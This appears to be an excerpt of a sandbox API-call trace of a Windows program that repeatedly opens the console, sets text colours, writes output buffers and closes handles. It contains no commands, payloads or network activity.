	[0088.426] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xeb
	[0088.426] GetLastError () returned 0xcb
	[0088.426] GetConsoleMode (in: hConsoleHandle=0xeb, lpMode=0x5eaefcc | out: lpMode=0x5eaefcc) returned 1
	[0088.426] GetLastError () returned 0xcb
	[0088.426] WriteConsoleW (in: hConsoleOutput=0xeb, lpBuffer=0x2cd8c0c*, nNumberOfCharsToWrite=0x4f, lpNumberOfCharsWritten=0x5eaefcc, lpReserved=0x0 | out: lpBuffer=0x2cd8c0c*, lpNumberOfCharsWritten=0x5eaefcc*=0x4f) returned 1
	[0088.426] GetLastError () returned 0xcb
	[0088.427] CloseHandle (hObject=0xeb) returned 1
	[0088.427] GetLastError () returned 0xcb
	[0088.429] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xeb
	[0088.430] GetLastError () returned 0xcb
	[0088.430] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xeb, lpConsoleScreenBufferInfo=0x5eaef7c | out: lpConsoleScreenBufferInfo=0x5eaef7c) returned 1
	[0088.430] GetLastError () returned 0xcb
	[0088.430] SetConsoleTextAttribute (hConsoleOutput=0xeb, wAttributes=0x7) returned 1
	[0088.430] GetLastError () returned 0xcb
	[0088.430] CloseHandle (hObject=0xeb) returned 1
	[0088.430] GetLastError () returned 0xcb
	[0088.433] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xeb
	[0088.433] GetLastError () returned 0xcb
	[0088.433] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xeb, lpConsoleScreenBufferInfo=0x5eaef7c | out: lpConsoleScreenBufferInfo=0x5eaef7c) returned 1
	[0088.433] GetLastError () returned 0xcb
	[0088.433] SetConsoleTextAttribute (hConsoleOutput=0xeb, wAttributes=0x7) returned 1
	[0088.434] GetLastError () returned 0xcb
	[0088.434] CloseHandle (hObject=0xeb) returned 1
	[0088.434] GetLastError () returned 0xcb
	[0088.437] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xeb
	[0088.437] GetLastError () returned 0xcb
	[0088.438] GetConsoleMode (in: hConsoleHandle=0xeb, lpMode=0x5eaf00c | out: lpMode=0x5eaf00c) returned 1
	[0088.438] GetLastError () returned 0xcb
	[0088.438] WriteConsoleW (in: hConsoleOutput=0xeb, lpBuffer=0x2979f7c*, nNumberOfCharsToWrite=0x1, lpNumberOfCharsWritten=0x5eaf00c, lpReserved=0x0 | out: lpBuffer=0x2979f7c*, lpNumberOfCharsWritten=0x5eaf00c*=0x1) returned 1
	[0088.438] GetLastError () returned 0xcb
	[0088.438] CloseHandle (hObject=0xeb) returned 1
	[0088.438] GetLastError () returned 0xcb
	[0088.441] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xeb
	[0088.441] GetLastError () returned 0xcb
	[0088.441] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xeb, lpConsoleScreenBufferInfo=0x5eaefd8 | out: lpConsoleScreenBufferInfo=0x5eaefd8) returned 1
	[0088.442] GetLastError () returned 0xcb
	[0088.442] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xef, lpConsoleScreenBufferInfo=0x5eaef78 | out: lpConsoleScreenBufferInfo=0x5eaef78) returned 1
	[0088.442] GetLastError () returned 0xcb
	[0088.445] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xf3
	[0088.446] GetLastError () returned 0xcb
	[0088.446] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf3, lpConsoleScreenBufferInfo=0x5eaef78 | out: lpConsoleScreenBufferInfo=0x5eaef78) returned 1
	[0088.446] GetLastError () returned 0xcb
	[0088.449] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xf7
	[0088.449] GetLastError () returned 0xcb
	[0088.449] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf7, lpConsoleScreenBufferInfo=0x5eaef80 | out: lpConsoleScreenBufferInfo=0x5eaef80) returned 1
	[0088.449] GetLastError () returned 0xcb
	[0088.449] SetConsoleTextAttribute (hConsoleOutput=0xf7, wAttributes=0xc) returned 1
	[0088.450] GetLastError () returned 0xcb
	[0088.450] CloseHandle (hObject=0xf7) returned 1
	[0088.450] GetLastError () returned 0xcb
	[0088.453] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xf7
	[0088.453] GetLastError () returned 0xcb
	[0088.453] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf7, lpConsoleScreenBufferInfo=0x5eaef80 | out: lpConsoleScreenBufferInfo=0x5eaef80) returned 1
	[0088.453] GetLastError () returned 0xcb
	[0088.453] SetConsoleTextAttribute (hConsoleOutput=0xf7, wAttributes=0xc) returned 1
	[0088.454] GetLastError () returned 0xcb
	[0088.454] CloseHandle (hObject=0xf7) returned 1
	[0088.454] GetLastError () returned 0xcb
	[0088.458] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xf7
	[0088.459] GetLastError () returned 0xcb
	[0088.459] GetConsoleMode (in: hConsoleHandle=0xf7, lpMode=0x5eaefcc | out: lpMode=0x5eaefcc) returned 1
	[0088.459] GetLastError () returned 0xcb
	[0088.459] WriteConsoleW (in: hConsoleOutput=0xf7, lpBuffer=0x2cd91d0*, nNumberOfCharsToWrite=0x4f, lpNumberOfCharsWritten=0x5eaefcc, lpReserved=0x0 | out: lpBuffer=0x2cd91d0*, lpNumberOfCharsWritten=0x5eaefcc*=0x4f) returned 1
	[0088.459] GetLastError () returned 0xcb
	[0088.459] CloseHandle (hObject=0xf7) returned 1
	[0088.459] GetLastError () returned 0xcb
	[0088.463] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xf7
	[0088.463] GetLastError () returned 0xcb
	[0088.463] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf7, lpConsoleScreenBufferInfo=0x5eaef7c | out: lpConsoleScreenBufferInfo=0x5eaef7c) returned 1
	[0088.463] GetLastError () returned 0xcb
	[0088.463] SetConsoleTextAttribute (hConsoleOutput=0xf7, wAttributes=0x7) returned 1
	[0088.463] GetLastError () returned 0xcb
	[0088.463] CloseHandle (hObject=0xf7) returned 1
	[0088.463] GetLastError () returned 0xcb
	[0088.468] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xf7
	[0088.468] GetLastError () returned 0xcb
	[0088.468] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf7, lpConsoleScreenBufferInfo=0x5eaef7c | out: lpConsoleScreenBufferInfo=0x5eaef7c) returned 1
	[0088.469] GetLastError () returned 0xcb
	[0088.469] SetConsoleTextAttribute (hConsoleOutput=0xf7, wAttributes=0x7) returned 1
	[0088.469] GetLastError () returned 0xcb
	[0088.469] CloseHandle (hObject=0xf7) returned 1
	[0088.469] GetLastError () returned 0xcb
	[0088.473] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xf7
	[0088.473] GetLastError () returned 0xcb
	[0088.473] GetConsoleMode (in: hConsoleHandle=0xf7, lpMode=0x5eaf00c | out: lpMode=0x5eaf00c) returned 1
	[0088.473] GetLastError () returned 0xcb
	[0088.473] WriteConsoleW (in: hConsoleOutput=0xf7, lpBuffer=0x2979f7c*, nNumberOfCharsToWrite=0x1, lpNumberOfCharsWritten=0x5eaf00c, lpReserved=0x0 | out: lpBuffer=0x2979f7c*, lpNumberOfCharsWritten=0x5eaf00c*=0x1) returned 1
	[0088.473] GetLastError () returned 0xcb
	[0088.473] CloseHandle (hObject=0xf7) returned 1
	[0088.473] GetLastError () returned 0xcb
	[0088.477] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xf7
	[0088.477] GetLastError () returned 0xcb
	[0088.477] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf7, lpConsoleScreenBufferInfo=0x5eaefd8 | out: lpConsoleScreenBufferInfo=0x5eaefd8) returned 1
	[0088.477] GetLastError () returned 0xcb
	[0088.478] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xfb, lpConsoleScreenBufferInfo=0x5eaef78 | out: lpConsoleScreenBufferInfo=0x5eaef78) returned 1
	[0088.478] GetLastError () returned 0xcb
	[0088.481] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xff
	[0088.482] GetLastError () returned 0xcb
	[0088.482] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xff, lpConsoleScreenBufferInfo=0x5eaef78 | out: lpConsoleScreenBufferInfo=0x5eaef78) returned 1
	[0088.482] GetLastError () returned 0xcb
	[0088.485] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x103
	[0088.485] GetLastError () returned 0xcb
	[0088.485] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x103, lpConsoleScreenBufferInfo=0x5eaef80 | out: lpConsoleScreenBufferInfo=0x5eaef80) returned 1
	[0088.486] GetLastError () returned 0xcb
	[0088.486] SetConsoleTextAttribute (hConsoleOutput=0x103, wAttributes=0xc) returned 1
	[0088.486] GetLastError () returned 0xcb
	[0088.486] CloseHandle (hObject=0x103) returned 1
	[0088.486] GetLastError () returned 0xcb
	[0088.489] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x103
	[0088.490] GetLastError () returned 0xcb
	[0088.490] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x103, lpConsoleScreenBufferInfo=0x5eaef80 | out: lpConsoleScreenBufferInfo=0x5eaef80) returned 1
	[0088.490] GetLastError () returned 0xcb
	[0088.490] SetConsoleTextAttribute (hConsoleOutput=0x103, wAttributes=0xc) returned 1
	[0088.490] GetLastError () returned 0xcb
	[0088.490] CloseHandle (hObject=0x103) returned 1
	[0088.490] GetLastError () returned 0xcb
	[0088.494] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x103
	[0088.495] GetLastError () returned 0xcb
	[0088.495] GetConsoleMode (in: hConsoleHandle=0x103, lpMode=0x5eaefcc | out: lpMode=0x5eaefcc) returned 1
	[0088.495] GetLastError () returned 0xcb
	[0088.495] WriteConsoleW (in: hConsoleOutput=0x103, lpBuffer=0x2cd9794*, nNumberOfCharsToWrite=0x4f, lpNumberOfCharsWritten=0x5eaefcc, lpReserved=0x0 | out: lpBuffer=0x2cd9794*, lpNumberOfCharsWritten=0x5eaefcc*=0x4f) returned 1
	[0088.495] GetLastError () returned 0xcb
	[0088.495] CloseHandle (hObject=0x103) returned 1
	[0088.495] GetLastError () returned 0xcb
	[0088.500] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x103
	[0088.501] GetLastError () returned 0xcb
	[0088.501] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x103, lpConsoleScreenBufferInfo=0x5eaef7c | out: lpConsoleScreenBufferInfo=0x5eaef7c) returned 1
	[0088.501] GetLastError () returned 0xcb
	[0088.501] SetConsoleTextAttribute (hConsoleOutput=0x103, wAttributes=0x7) returned 1
	[0088.501] GetLastError () returned 0xcb
	[0088.501] CloseHandle (hObject=0x103) returned 1
	[0088.501] GetLastError () returned 0xcb
	[0088.505] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x103
	[0088.505] GetLastError () returned 0xcb
	[0088.505] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x103, lpConsoleScreenBufferInfo=0x5eaef7c | out: lpConsoleScreenBufferInfo=0x5eaef7c) returned 1
	[0088.505] GetLastError () returned 0xcb
	[0088.505] SetConsoleTextAttribute (hConsoleOutput=0x103, wAttributes=0x7) returned 1
	[0088.505] GetLastError () returned 0xcb
	[0088.505] CloseHandle (hObject=0x103) returned 1
	[0088.506] GetLastError () returned 0xcb
	[0088.510] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x103
	[0088.510] GetLastError () returned 0xcb
	[0088.510] GetConsoleMode (in: hConsoleHandle=0x103, lpMode=0x5eaf00c | out: lpMode=0x5eaf00c) returned 1
	[0088.510] GetLastError () returned 0xcb
	[0088.510] WriteConsoleW (in: hConsoleOutput=0x103, lpBuffer=0x2979f7c*, nNumberOfCharsToWrite=0x1, lpNumberOfCharsWritten=0x5eaf00c, lpReserved=0x0 | out: lpBuffer=0x2979f7c*, lpNumberOfCharsWritten=0x5eaf00c*=0x1) returned 1
	[0088.511] GetLastError () returned 0xcb
	[0088.511] CloseHandle (hObject=0x103) returned 1
	[0088.511] GetLastError () returned 0xcb
	[0088.516] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x103
	[0088.517] GetLastError () returned 0xcb
	[0088.517] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x103, lpConsoleScreenBufferInfo=0x5eaefd8 | out: lpConsoleScreenBufferInfo=0x5eaefd8) returned 1
	[0088.517] GetLastError () returned 0xcb
	[0088.517] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x107, lpConsoleScreenBufferInfo=0x5eaef78 | out: lpConsoleScreenBufferInfo=0x5eaef78) returned 1
	[0088.517] GetLastError () returned 0xcb
	[0088.522] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10b
	[0088.522] GetLastError () returned 0xcb
	[0088.522] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x10b, lpConsoleScreenBufferInfo=0x5eaef78 | out: lpConsoleScreenBufferInfo=0x5eaef78) returned 1
	[0088.525] GetLastError () returned 0xcb
	[0088.528] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10f
	[0088.529] GetLastError () returned 0xcb
	[0088.529] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x10f, lpConsoleScreenBufferInfo=0x5eaef80 | out: lpConsoleScreenBufferInfo=0x5eaef80) returned 1
	[0088.529] GetLastError () returned 0xcb
	[0088.529] SetConsoleTextAttribute (hConsoleOutput=0x10f, wAttributes=0xc) returned 1
	[0088.529] GetLastError () returned 0xcb
	[0088.529] CloseHandle (hObject=0x10f) returned 1
	[0088.529] GetLastError () returned 0xcb
	[0088.533] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10f
	[0088.533] GetLastError () returned 0xcb
	[0088.533] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x10f, lpConsoleScreenBufferInfo=0x5eaef80 | out: lpConsoleScreenBufferInfo=0x5eaef80) returned 1
	[0088.533] GetLastError () returned 0xcb
	[0088.533] SetConsoleTextAttribute (hConsoleOutput=0x10f, wAttributes=0xc) returned 1
	[0088.534] GetLastError () returned 0xcb
	[0088.534] CloseHandle (hObject=0x10f) returned 1
	[0088.534] GetLastError () returned 0xcb
	[0088.538] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10f
	[0088.538] GetLastError () returned 0xcb
	[0088.538] GetConsoleMode (in: hConsoleHandle=0x10f, lpMode=0x5eaefcc | out: lpMode=0x5eaefcc) returned 1
	[0088.538] GetLastError () returned 0xcb
	[0088.538] WriteConsoleW (in: hConsoleOutput=0x10f, lpBuffer=0x2cd9d58*, nNumberOfCharsToWrite=0x4f, lpNumberOfCharsWritten=0x5eaefcc, lpReserved=0x0 | out: lpBuffer=0x2cd9d58*, lpNumberOfCharsWritten=0x5eaefcc*=0x4f) returned 1
	[0088.538] GetLastError () returned 0xcb
	[0088.538] CloseHandle (hObject=0x10f) returned 1
	[0088.539] GetLastError () returned 0xcb
	[0088.543] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10f
	[0088.543] GetLastError () returned 0xcb
	[0088.543] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x10f, lpConsoleScreenBufferInfo=0x5eaef7c | out: lpConsoleScreenBufferInfo=0x5eaef7c) returned 1
	[0088.544] GetLastError () returned 0xcb
	[0088.544] SetConsoleTextAttribute (hConsoleOutput=0x10f, wAttributes=0x7) returned 1
	[0088.544] GetLastError () returned 0xcb
	[0088.544] CloseHandle (hObject=0x10f) returned 1
	[0088.544] GetLastError () returned 0xcb
	[0088.549] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10f
	[0088.550] GetLastError () returned 0xcb
	[0088.550] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x10f, lpConsoleScreenBufferInfo=0x5eaef7c | out: lpConsoleScreenBufferInfo=0x5eaef7c) returned 1
	[0088.550] GetLastError () returned 0xcb
	[0088.550] SetConsoleTextAttribute (hConsoleOutput=0x10f, wAttributes=0x7) returned 1
	[0088.550] GetLastError () returned 0xcb
	[0088.550] CloseHandle (hObject=0x10f) returned 1
	[0088.550] GetLastError () returned 0xcb
	[0088.555] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10f
	[0088.555] GetLastError () returned 0xcb
	[0088.555] GetConsoleMode (in: hConsoleHandle=0x10f, lpMode=0x5eaf00c | out: lpMode=0x5eaf00c) returned 1
	[0088.555] GetLastError () returned 0xcb
	[0088.555] WriteConsoleW (in: hConsoleOutput=0x10f, lpBuffer=0x2979f7c*, nNumberOfCharsToWrite=0x1, lpNumberOfCharsWritten=0x5eaf00c, lpReserved=0x0 | out: lpBuffer=0x2979f7c*, lpNumberOfCharsWritten=0x5eaf00c*=0x1) returned 1
	[0088.555] GetLastError () returned 0xcb
	[0088.556] CloseHandle (hObject=0x10f) returned 1
	[0088.556] GetLastError () returned 0xcb
	[0088.560] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10f
	[0088.560] GetLastError () returned 0xcb
	[0088.560] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x10f, lpConsoleScreenBufferInfo=0x5eaefd8 | out: lpConsoleScreenBufferInfo=0x5eaefd8) returned 1
	[0088.561] GetLastError () returned 0xcb
	[0088.561] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x113, lpConsoleScreenBufferInfo=0x5eaef78 | out: lpConsoleScreenBufferInfo=0x5eaef78) returned 1
	[0088.561] GetLastError () returned 0xcb
	[0088.566] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x117
	[0088.567] GetLastError () returned 0xcb
	[0088.567] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x117, lpConsoleScreenBufferInfo=0x5eaef78 | out: lpConsoleScreenBufferInfo=0x5eaef78) returned 1
	[0088.567] GetLastError () returned 0xcb
	[0088.571] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x11b
	[0088.572] GetLastError () returned 0xcb
	[0088.572] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x11b, lpConsoleScreenBufferInfo=0x5eaef80 | out: lpConsoleScreenBufferInfo=0x5eaef80) returned 1
	[0088.572] GetLastError () returned 0xcb
	[0088.572] SetConsoleTextAttribute (hConsoleOutput=0x11b, wAttributes=0xc) returned 1
	[0088.572] GetLastError () returned 0xcb
	[0088.572] CloseHandle (hObject=0x11b) returned 1
	[0088.573] GetLastError () returned 0xcb
	[0088.577] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x11b
	[0088.578] GetLastError () returned 0xcb
	[0088.578] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x11b, lpConsoleScreenBufferInfo=0x5eaef80 | out: lpConsoleScreenBufferInfo=0x5eaef80) returned 1
	[0088.578] GetLastError () returned 0xcb
	[0088.578] SetConsoleTextAttribute (hConsoleOutput=0x11b, wAttributes=0xc) returned 1
	[0088.578] GetLastError () returned 0xcb
	[0088.578] CloseHandle (hObject=0x11b) returned 1
	[0088.578] GetLastError () returned 0xcb
	[0088.585] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x11b
	[0088.585] GetLastError () returned 0xcb
	[0088.585] GetConsoleMode (in: hConsoleHandle=0x11b, lpMode=0x5eaefcc | out: lpMode=0x5eaefcc) returned 1
	[0088.585] GetLastError () returned 0xcb
	[0088.586] WriteConsoleW (in: hConsoleOutput=0x11b, lpBuffer=0x2cda31c*, nNumberOfCharsToWrite=0x4f, lpNumberOfCharsWritten=0x5eaefcc, lpReserved=0x0 | out: lpBuffer=0x2cda31c*, lpNumberOfCharsWritten=0x5eaefcc*=0x4f) returned 1
	[0088.586] GetLastError () returned 0xcb
	[0088.586] CloseHandle (hObject=0x11b) returned 1
	[0088.586] GetLastError () returned 0xcb
	[0088.591] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x11b
	[0088.591] GetLastError () returned 0xcb
	[0088.591] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x11b, lpConsoleScreenBufferInfo=0x5eaef7c | out: lpConsoleScreenBufferInfo=0x5eaef7c) returned 1
	[0088.591] GetLastError () returned 0xcb
	[0088.591] SetConsoleTextAttribute (hConsoleOutput=0x11b, wAttributes=0x7) returned 1
	[0088.591] GetLastError () returned 0xcb
	[0088.591] CloseHandle (hObject=0x11b) returned 1
	[0088.592] GetLastError () returned 0xcb
	[0088.596] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x11b
	[0088.596] GetLastError () returned 0xcb
	[0088.596] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x11b, lpConsoleScreenBufferInfo=0x5eaef7c | out: lpConsoleScreenBufferInfo=0x5eaef7c) returned 1
	[0088.597] GetLastError () returned 0xcb
	[0088.597] SetConsoleTextAttribute (hConsoleOutput=0x11b, wAttributes=0x7) returned 1
	[0088.597] GetLastError () returned 0xcb
	[0088.597] CloseHandle (hObject=0x11b) returned 1
	[0088.597] GetLastError () returned 0xcb
	[0088.602] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x11b
	[0088.603] GetLastError () returned 0xcb
	[0088.603] GetConsoleMode (in: hConsoleHandle=0x11b, lpMode=0x5eaf00c | out: lpMode=0x5eaf00c) returned 1
	[0088.603] GetLastError () returned 0xcb
	[0088.603] WriteConsoleW (in: hConsoleOutput=0x11b, lpBuffer=0x2979f7c*, nNumberOfCharsToWrite=0x1, lpNumberOfCharsWritten=0x5eaf00c, lpReserved=0x0 | out: lpBuffer=0x2979f7c*, lpNumberOfCharsWritten=0x5eaf00c*=0x1) returned 1
	[0088.603] GetLastError () returned 0xcb
	[0088.603] CloseHandle (hObject=0x11b) returned 1
	[0088.604] GetLastError () returned 0xcb
	[0088.608] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x11b
	[0088.609] GetLastError () returned 0xcb
	[0088.609] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x11b, lpConsoleScreenBufferInfo=0x5eaefd8 | out: lpConsoleScreenBufferInfo=0x5eaefd8) returned 1
	[0088.609] GetLastError () returned 0xcb
	[0088.609] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x11f, lpConsoleScreenBufferInfo=0x5eaef78 | out: lpConsoleScreenBufferInfo=0x5eaef78) returned 1
	[0088.609] GetLastError () returned 0xcb
	[0088.614] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x123
	[0088.614] GetLastError () returned 0xcb
	[0088.614] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x123, lpConsoleScreenBufferInfo=0x5eaef78 | out: lpConsoleScreenBufferInfo=0x5eaef78) returned 1
	[0088.614] GetLastError () returned 0xcb
